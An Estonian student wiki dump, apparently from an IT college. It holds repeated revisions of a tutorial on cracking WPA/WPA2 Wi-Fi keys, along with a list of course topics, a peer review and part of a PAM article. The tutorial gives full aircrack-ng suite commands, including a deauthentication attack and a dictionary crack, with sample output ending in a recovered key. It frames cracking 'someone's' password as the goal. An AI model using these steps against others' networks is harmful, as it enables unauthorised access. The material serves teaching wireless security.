''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116 '' 

Kuna kuvati “WPA handshake: 00:14:6C:7E:40:80” siis see tähendab, et airodump-ng püüdis edukalt kinni the f'''our-way handshake.''' 

Selline näeb väljund välja kui EI OLE keegi wifisse ühendatud:''' '''

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes '' 

=== Punkt 3: ===

See punkt on valikuline ja väga suur abiline, kui sul pole kannatlikust oodata airdump-ng järgi.Eelmise punkti väljundist näed ära MAC aadressi. Kirjuta käsureale järgnev käsk: 

*'''aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0''' 

Kui läheb hästi siis võib väljund olla selline: 

''11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]''

=== Punkt 4: ===

Selle punkti mõte on siis lahti murda WPA/WPA2. Selleks on sul vaja sõnastikku (password.lst).Võid ka oma sõnastikku kasutada. Põhimõtteliselt aircrack-ng proovib läbi kõik sõnad ja vaatab kas mõni neist sobib. 

Ava uus käsurea aken ja lisa käsk:

*'''aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap''' 

Kui sa saad väljundiks ''"No valid WPA handshakes found."'' siis tee  läbi punkt 3 või varu kannatust ja proovi mingi aja tagant uuesti. 

Kui aga kõik läks nii nagu pidi on väljundiks: 

Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Palju õnne! Olen suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

 

Autor: Gertti-Vena Rätsep

[[Category:Traadita side alused]]

WPA kräkkimine

2012-11-09T12:20:37Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1: ===

Käivita wifi liides/kaart "kuulaja režiimis". 

Ava terminal ja kirjuta sinna käsk: 

*'''airmon-ng''' 

On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds: 

Masinas millel on Ralink, Atheos ja Broadcom wifi kaart vastab terminal nii: 

''Interface Chipset Driver rausb0     Ralink        RT73    rt73 wlan0       Broadcom b43 - [phy0] wifi0         Atheros      madwifi-ng ath0         Atheros       madwifi-ng VAP (parent: wifi0)'' 

Peata ath0 kirjutades käsureale: 

*'''airmon-ng stop ath0'''

 

''Interface      Chipset     Driver wifi0             Atheros     madwifi-ng ath0             Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)'' 

Kirjuta käsureale: 

*'''iwconfig''' 

Vastus peaks tulema umbes taoline: 

''lo no wireless extensions eth0 no wireless extensions. wifi0 no wireless extensions.'' 

Kui peaks jutuma, et mõni athx veel töötab siis peata need käsitsi. Siis kontrolli uuesti tulemus '''iwconfig '''käsuga. 

Nüüd lisa oma WIFI kaart 9. kanalisse käsuga: 

*'''airmon-ng start wifi0 9'''

Märkus: selles käsus kasutame "wifi0" "ath0" asemel kuna madwifi-ng draiverid on kasutusel. 

Süsteem peaks vastama:

''Interface Chipset Driver wifi0       Atheros    madwifi-ng ath0       Atheros     madwifi-ng VAP (parent: wifi0) (monitor mode enabled)''

 

Näed, et "ath0" on määratud kuulamise reziimi. 

Kontrolli, et kõik on õieti sisestades käsureale taas kord käsk '''iwconfig'''.

Süsteem peaks vastama: 

''lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0'' 

Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi.  Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC  peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata). 

Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ]. 

=== Punkt 2: ===

Selle punkti mõte on siis jooksutada airodump-ng'd, et teada saada soovitud Access Pointi. 

Kirjuta käsureale: 

*'''airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0'''

Important: Do NOT use the ”--ivs” option. You must capture the full packets. 

Tähtis on see, et EI TOHI kasutada --ivs'i käsus, kuna on oluline kõiki pakette püüda. 

Näiteks tuleb väljund selline (eeldusel, et wifi klient on ühendatud võrku):

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116 '' 

Kuna kuvati “WPA handshake: 00:14:6C:7E:40:80” siis see tähendab, et airodump-ng püüdis edukalt kinni the f'''our-way handshake.''' 

Selline näeb väljund välja kui EI OLE keegi wifisse ühendatud:''' '''

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes '' 

=== Punkt 3: ===

See punkt on valikuline ja väga suur abiline, kui sul pole kannatlikust oodata airdump-ng järgi.Eelmise punkti väljundist näed ära MAC aadressi. Kirjuta käsureale järgnev käsk: 

*'''aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0''' 

Kui läheb hästi siis võib väljund olla selline: 

''11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]''

=== Punkt 4: ===

Selle punkti mõte on siis lahti murda WPA/WPA2. Selleks on sul vaja sõnastikku (password.lst).Võid ka oma sõnastikku kasutada. Põhimõtteliselt aircrack-ng proovib läbi kõik sõnad ja vaatab kas mõni neist sobib. 

Ava uus käsurea aken ja lisa käsk:

*'''aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap''' 

Kui sa saad väljundiks ''"No valid WPA handshakes found."'' siis tee  läbi punkt 3 või varu kannatust ja proovi mingi aja tagant uuesti. 

Kui aga kõik läks nii nagu pidi on väljundiks: 

Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Palju õnne! Olen suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

 

Autor: Gertti-Vena Rätsep

[[Category:Traadita side alused]]

WPA kräkkimine

2012-11-09T12:20:02Z

Gratsep: Created page with '== '''Mis on WPA ja WPA2?''' == '''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrku…'

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1: ===

Käivita wifi liides/kaart "kuulaja režiimis". 

Ava terminal ja kirjuta sinna käsk: 

*'''airmon-ng''' 

On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds: 

Masinas millel on Ralink, Atheos ja Broadcom wifi kaart vastab terminal nii: 

''Interface Chipset Driver rausb0     Ralink        RT73    rt73 wlan0       Broadcom b43 - [phy0] wifi0         Atheros      madwifi-ng ath0         Atheros       madwifi-ng VAP (parent: wifi0)'' 

Peata ath0 kirjutades käsureale: 

*'''airmon-ng stop ath0'''

 

''Interface      Chipset     Driver wifi0             Atheros     madwifi-ng ath0             Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)'' 

Kirjuta käsureale: 

*'''iwconfig''' 

Vastus peaks tulema umbes taoline: 

''lo no wireless extensions eth0 no wireless extensions. wifi0 no wireless extensions.'' 

Kui peaks jutuma, et mõni athx veel töötab siis peata need käsitsi. Siis kontrolli uuesti tulemus '''iwconfig '''käsuga. 

Nüüd lisa oma WIFI kaart 9. kanalisse käsuga: 

*'''airmon-ng start wifi0 9'''

Märkus: selles käsus kasutame "wifi0" "ath0" asemel kuna madwifi-ng draiverid on kasutusel. 

Süsteem peaks vastama:

''Interface Chipset Driver wifi0       Atheros    madwifi-ng ath0       Atheros     madwifi-ng VAP (parent: wifi0) (monitor mode enabled)''

 

Näed, et "ath0" on määratud kuulamise reziimi. 

Kontrolli, et kõik on õieti sisestades käsureale taas kord käsk '''iwconfig'''.

Süsteem peaks vastama: 

''lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0'' 

Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi.  Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC  peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata). 

Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ]. 

=== Punkt 2: ===

Selle punkti mõte on siis jooksutada airodump-ng'd, et teada saada soovitud Access Pointi. 

Kirjuta käsureale: 

*'''airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0'''

Important: Do NOT use the ”--ivs” option. You must capture the full packets. 

Tähtis on see, et EI TOHI kasutada --ivs'i käsus, kuna on oluline kõiki pakette püüda. 

Näiteks tuleb väljund selline (eeldusel, et wifi klient on ühendatud võrku):

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116 '' 

Kuna kuvati “WPA handshake: 00:14:6C:7E:40:80” siis see tähendab, et airodump-ng püüdis edukalt kinni the f'''our-way handshake.''' 

Selline näeb väljund välja kui EI OLE keegi wifisse ühendatud:''' '''

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes '' 

=== Punkt 3: ===

See punkt on valikuline ja väga suur abiline, kui sul pole kannatlikust oodata airdump-ng järgi.Eelmise punkti väljundist näed ära MAC aadressi. Kirjuta käsureale järgnev käsk: 

*'''aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0''' 

Kui läheb hästi siis võib väljund olla selline: 

''11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]''

=== Punkt 4: ===

Selle punkti mõte on siis lahti murda WPA/WPA2. Selleks on sul vaja sõnastikku (password.lst).Võid ka oma sõnastikku kasutada. Põhimõtteliselt aircrack-ng proovib läbi kõik sõnad ja vaatab kas mõni neist sobib. 

Ava uus käsurea aken ja lisa käsk:

*'''aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap''' 

Kui sa saad väljundiks ''"No valid WPA handshakes found."'' siis tee  läbi punkt 3 või varu kannatust ja proovi mingi aja tagant uuesti. 

Kui aga kõik läks nii nagu pidi on väljundiks: 

Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Palju õnne! Olen suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

 

[[Category:Traadita side alused]]

Operatsioonisüsteemide referaadid 2011 Sügis

2011-12-12T07:28:14Z

Gratsep: /* Gertti-Vena Rätsep A21 */

[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]
=Päevaõpe=
==Raido Aarop A21==

==Sander Arnus A22==
[[Apt-key]]

==Kullo-Kalev Aru A21==
==Kalju Hõbemäe A22==
[[Httperf]]
==Carolys Kallas A22==
[[Regulaaravaldis]]

==Kristo Kapten A22==
[[Ubuntu Rescue Remix]]

==Nele Kiigemägi A21==
[[Vmstat]]
==Kersti Lang A21==
==Rauno Lehiste A22==
[[Nmap]]

==Urmo Lihten A21==
[[Metasploit]]

==Tambet Liiv A22==
[[Ab]]

==Iti Liivik A22==
[[PAM]]

[[Talk:logger]] - arvustus

==Priit Lilleleht A21==
==Oliver Naaris A21==
[[Minix]]

[[Talk:Nmap]] - arvustus
==Kairo Ostapenko A41==
==Kermo Pajula A22==
==Kristjan Pajumaa A32==
==Andres Pihlak A22==
[[Kustutatud failide taastamine Ubuntus]]
==Robert Pärn A21 ==
==Inger Romanenko A31==
[[SystemRescueCd]] 
[[Md5sum]]
==Gertti-Vena Rätsep A21==

[[Ubuntu 11.10]]

Retsensioon:
https://wiki.itcollege.ee/index.php/Talk:Kustutatud_failide_taastamine_Ubuntus

==Lauri Rüütli A21==
==Teet Saar A22==

[[Linux/Unix protsessid]]
[[Category: Operatsioonisüsteemide administreerimine ja sidumine]]

==Heiki Saaver A31==

[[ Zip ]]

==Taavi Sannik A21==

[[ Apt pinning ]]

==Sander Saveli A22==
[[Grub2]]

==Rene Sepp A31==
==Aare Song A22==
==Tarmo Suurmägi A21==

[[/etc/passwd]] - valmis ülevaatamiseks

[[Talk:Ubuntu_11.10]] - retsensioon

==Taavi Zeiger A21==
==Ott Telga A22==
==Raigo Trei A21==
[[logger]]

==Rauno Lehiste A22==
[[Nmap]]

==Robert Vane A21==
[[Sshguard]]

=Kaugõpe=
==Uuve Maikov AK21==
[[lshw]]

Koostamisel
==Risto Bristol AK31==
[[Nagios]]

==Andrus Dei AK31==
[[lspci]]

==Aive Haavel AK21==
[[Dmidecode]]

==Jüri Kalbin AK21==
[[OpenVZ]]

==Meelis Kurnikov AK21==
[[Expect]]

==Erki Marmor AK11==
[[DHCP teenus Ubuntu Server süsteemis]] - Teema uuendamine + leitud vigade parandamine

==Klaid Mägi AK21==
[[OpenNMS installeerimine Debianile]]

==Rünno Reinu AK31==

Rünno hindab teiste töid.

==Taavo Siimer AK41==

[[Softi RAID Ubuntu baasil.]]
[[Category: Operatsioonisüsteemide administreerimine ja sidumine ]]

==Mihkel Soomere AK41==
[[Identity Management]]

Talk:Kustutatud failide taastamine Ubuntus

2011-12-11T19:03:44Z

Gratsep:

*Artikkel annab ülevaate kustutatud failide taastamisest Ubuntus. Artikkel on asjalik ja välja on toodud erinevaid alternatiive.
*Sissejuhatus on asjalik ja hästi mõistetav.
*Praktilised näitad on ilusti välja toodud.
*Sisu oli piisavalt.
*Ülesehituse poolest korralik.
*Kirjavigu ei leidnud.

{| class="wikitable" border="1"
|-
! KRITEERIUM
! KAAL
! HINNANG
! SELGITUS
|-

|-
| Skoop
| 0,5
| 0
| Puudub info selle kohta, et mis eelteadmisi on vaja failide taastamiseks.
|-

|-
| Artikli tutvustus ja versioon
| 0,5
| 0,5
| Artikkel on asjalik ja välja on pakutud erinevaid lahendusi probleemi käsitlemiseks.
|-

|-
| Sissejuhatus
| 0,5
| 0,5
| Üheselt mõistetav ja asjalik sissejuhatus.
|-

|-
| Tehniliselt korrektne
| 1
| 1
| Tehniliselt on korras.
|-

|-
| Kasutatud kirjandus
| 0,5
| 0,5
| Olemas.
|-

|-
| Näited kasutamiseks/käsud
| 1
| 1
| Olemas.
|-

|-
| Sisu
| 4
| 4
| Piisav.
|-

|-
| Ülesehitus
| 1
| 1
| Täitsa kena.
|-

|-
| Kirjavead ja õigekiri
| 0,5
| 0,5
| Sissejuhatuses võiks norida korduste pärast aga need tunduvad vältimatud.
|-

|-
| Kokku
| 10
| 9,5
|
|-
|}

Retsenseeris: Gertti-Vena Rätsep A21

Talk:Kustutatud failide taastamine Ubuntus

2011-12-11T19:02:58Z

Gratsep: Created page with '*Artikkel annab ülevaate kustutatud failide taastamisest Ubuntus. Artikkel on asjalik ja välja on toodud erinevaid alternatiive. *Sissejuhatus on asjalik ja hästi mõistetav.…'

*Artikkel annab ülevaate kustutatud failide taastamisest Ubuntus. Artikkel on asjalik ja välja on toodud erinevaid alternatiive.
*Sissejuhatus on asjalik ja hästi mõistetav.
*Praktilised näitad on ilusti välja toodud.
*Sisu oli piisavalt.
*Ülesehituse poolest korralik.
*Kirjavigu ei leidnud.

{| class="wikitable" border="1"
|-
! KRITEERIUM
! KAAL
! HINNANG
! SELGITUS
|-

|-
| Skoop
| 0,5
| 0
| Puudub info selle kohta, et mis eelteadmisi on vaja failide taastamiseks.
|-

|-
| Artikli tutvustus ja versioon
| 0,5
| 0,5
| Artikkel on asjalik ja välja on pakutud erinevaid lahendusi probleemi käsitlemiseks.
|-

|-
| Sissejuhatus
| 0,5
| 0,5
| Üheselt mõistetav ja asjalik sissejuhatus.
|-

|-
| Tehniliselt korrektne
| 1
| 1
| Tehniliselt on korras.
|-

|-
| Kasutatud kirjandus
| 0,5
| 0,5
| Olemas.
|-

|-
| Näited kasutamiseks/käsud
| 1
| 1
| Olemas.
|-

|-
| Sisu
| 4
| 4
| Piisav.
|-

|-
| Ülesehitus
| 1
| 1
|
|-

|-
| Kirjavead ja õigekiri
| 0,5
| 0,5
| Sissejuhatuses võiks norida korduste pärast aga need tunduvad vältimatud.
|-

|-
| Kokku
| 10
| 9,5
|
|-
|}

Retsenseeris: Gertti-Vena Rätsep A21

PAM

2011-11-25T17:21:01Z

Gratsep:

=Sissejuhatus=
[[Category: Operatsioonisüsteemide administreerimine ja sidumine]]

'''PAM''' ehk '''Pluggable authentication modules on mehhanism''', kus on mitu madala-taseme autentimise skeemi integreeritud ühte kõrgeima taseme API’sse.
Sellega saavad audentimist nõudmavad rakendused kasutada PAM API’t , sõltumata sellest missugused autentimise mehhanismid on PAM’i taga.
PAM töötati välja SUN Microsystems’i poolt. See ilmus esimesena RFC-s (Open Software Foundation Request for Comments’is) 1995.aasta oktoobris.
PAM on adapteeritud ''Common Desktop Enviroment''’i autentimisraamistikus.
Omaette infrastruktuurina, Ilmus PAM avatud lähtekoodiga, Linuxi-PAM’ina,(arendatud Red Hat Linux 3.0.4 ’i poolt) augustis 1996.
PAM on praegu toetatud AIX operatsioonisüsteemide DragonFly BSD’e,FreeBSD’e, HP-UX’i, Linux’i, Mac OS X’i, NetBSD’e ja Solaris’e poolt.
Standartiseeritud X/OPEN UNIX standartiseerimise projekti raames. Viimase tulemusena on saanud ametliku nimetuse “''X/Open Single Sign-on standart''”.
PAM-i toetab ka Mac OS X.

==Tehnilised faktid==

o PAM kasutab dünaamiliselt seotud koodi.

o Juhul kui dünaamiline algorütm ei tööta , siis rakendatakse PAM’is tagavara staatiline linkimise algorütm.

o PAM-i realisatsioonid ei tööta sarnaselt – nt. Linux’i ja NetBSD PAM’id on suhteliselt erinevad.

o Standartse Linux’i autentimise skeem kasutab PAM’i juurdepääsu õiguste kontrollimiseks.

o Vaikimisi konfiguratsiooni failid asuvad ''/etc/pam.d ja /etc/security'' .

o /ETC/PAM.D on kataloog, kus saab iga rakenduse kohta ära määrate PAM-i moodulite kasutamise ehk siis teiste sõnadega ära määrata autentimise skeemi.

o Näiteks paigutades mingi faili /etc/pam.d kataloogi, siis võib määrata et alguses klient autentib parooliga, kui see klappib siis tema rühma ja kasutaja nime kontrollitakse access_list mooduli kaudu, siis kontrollitakse kas IP aadress (kui on) klapib sellele kasutajale lubatud ligipääsu õigustega. Juhul kui tingimused pole täidetud, siis ligipääsu andmisest keeldutakse. Õnnestumise puhul võite kirjeldada ka edaspidiste kontrollimiste algorütmi – nt. pam_time mooduli järgi kontrollimine: s.t. Kontroll kas just sel päeval ja kellaajal on kasutajal õigus ligipääsemiseks.

o Kõikide kontrollide õnnestumise puhul saab kasutaja ligipääsu, aga kui vähemalt üks tingimustest ei ole kooskõlas, siis süsteem keeldub ligipääsu andmast, vaatamata sellele kas parool on õige või vale.

=PAM=

Paljude programmide kasutamine algab kasutajanime ja parooli sisestamisega. Traditsiooniliselt sisaldasid sellised programmid ise kõike vajalikku kasutaja autentimiseks.
Teine võimalus on kirjutada programm ilma, et seal sisalduks autentimist toimetav osa, kuid vajadusel pöördub ta standardse välise autentimist korraldava mehhanismi poole, milleks on PAM.
Programmi seisukohalt pole oluline, millist autentimismehhanismi kasutatakse või kas seda üldse kasutatakse. PAM lihtsalt teatab programmile, kas kasutaja autenditi või mitte.
Tarkvara kompileerimisel on võimalik näidata, kas soovitakse saada PAMi toetust või mitte.

Kui PAM ei ole Linuxi distributsiooni osaks vaikimisi, siis tuleks kaaluda uuendamist uuemale distributsioonile. PAM-i kasutamine mitte ainult ei saa muuta süsteemi turvalisemaks, vaid see võib aidata ka lahendada hulgaliselt ebamugavaid ühilduvuse konflikte turvalisuse vajaduste vahel näiteks nagu shadow ja MD5 ja teenuseid, mida on vaja failidesse pääsemiseks.
PAM’i toetust süsteemis saab kontrollida nimetatud kataloogide ja failide olemasoluga:

• / etc / pam.conf

• / etc / pam.d /

• / lib / libpam.so .*

• / usr / lib / libpam.so .*

Kui mõni neist on olemas, oled ilmselt heas suhtes PAM-enabled autentimine teenustega. Ärge eksige: Siin pole peaaegu mõtet kasutada variparoole ilma PAM paigalduseta ja shadowm on rohkem kui hädavajalik turvaline süsteem.

==ldd==

Kui klientprogrammiga pöördutakse serveri poole, siis peab PAMi moodulitega oskama suhelda mitte autentimisega seotud klientprogramm, vaid vastav server, näiteks ''sshd, gdm, vsftpd.''
Kas see on nii, võib järele vaadata programmiga ldd :

bash# ldd /usr/bin/passwd
libdl.so.2 => /lib/libdl.so.2 (0x40019000)
libpam.so.0 => /lib/libpam.so.0 (0x4001d000)
libpam_misc.so.0 => /lib/libpam_misc.so.0 (0x40025000)
libpwdb.so.0 => /lib/libpwdb.so.0 (0x40028000)
libc.so.6 => /lib/libc.so.6 (0x40071000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x40164000)
libnsl.so.1 => /lib/libnsl.so.1 (0x40191000)

=Moodulid=

Erinevate autentimissüsteemide kasutamiseks on vaja kasutada vastavaid PAMi mooduleid.
Moodulid asuvad kataloogis /lib/security.

==Mõningad tähtsamad PAM moodulid:==

•pam_access – ligipääsu map kasutaja/rühm vs. Lokaal ligipääs või IP aadress

•pam_cracklib – parooli tugevuse kontrollskeem.

•pam_deny – blacklist kasutajatest, kellele on ligipääs keelatud.

•pam_securetty – nimekiri konsoolidest kust root’ile on lubatud ligipääs.

